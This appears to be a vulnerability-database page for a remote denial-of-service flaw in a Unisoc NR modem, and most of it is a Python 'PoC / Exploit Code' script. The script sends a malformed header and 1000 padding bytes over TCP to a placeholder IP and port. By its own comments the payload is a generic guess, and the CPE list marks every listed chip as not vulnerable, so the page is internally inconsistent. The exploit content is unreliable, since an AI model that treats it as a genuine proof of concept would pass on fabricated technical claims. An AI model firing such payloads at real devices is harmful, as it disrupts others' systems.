In nr modem, there is a possible improper input validation. This could lead to remote denial of service with no additional execution privileges needed.
cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:* - NOT VULNERABLE
未知 (需参考 Unisoc 官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import sys
# CVE-2025-71256 PoC Concept
# This script attempts to trigger the DoS by sending a malformed packet.
# Target details need to be configured based on the specific environment.
TARGET_IP = "192.168.1.100" # Replace with target device IP
TARGET_PORT = 8080 # Replace with the specific port listening by the modem service
# Constructing a payload that simulates improper input validation trigger
# The specific payload bytes depend on the internal protocol parsing logic of the NR Modem.
# This is a generic example of a buffer overflow pattern or malformed header.
malformed_header = b"\x00\xff\xaa\x55"
padding = b"A" * 1000
payload = malformed_header + padding
def send_exploit():
try:
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_IP, TARGET_PORT))
print("[*] Sending malformed payload...")
s.send(payload)
print("[+] Payload sent. Check if the modem service has crashed.")
s.close()
except ConnectionRefusedError:
print("[-] Connection refused. Target may be down or port is incorrect.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
send_exploit()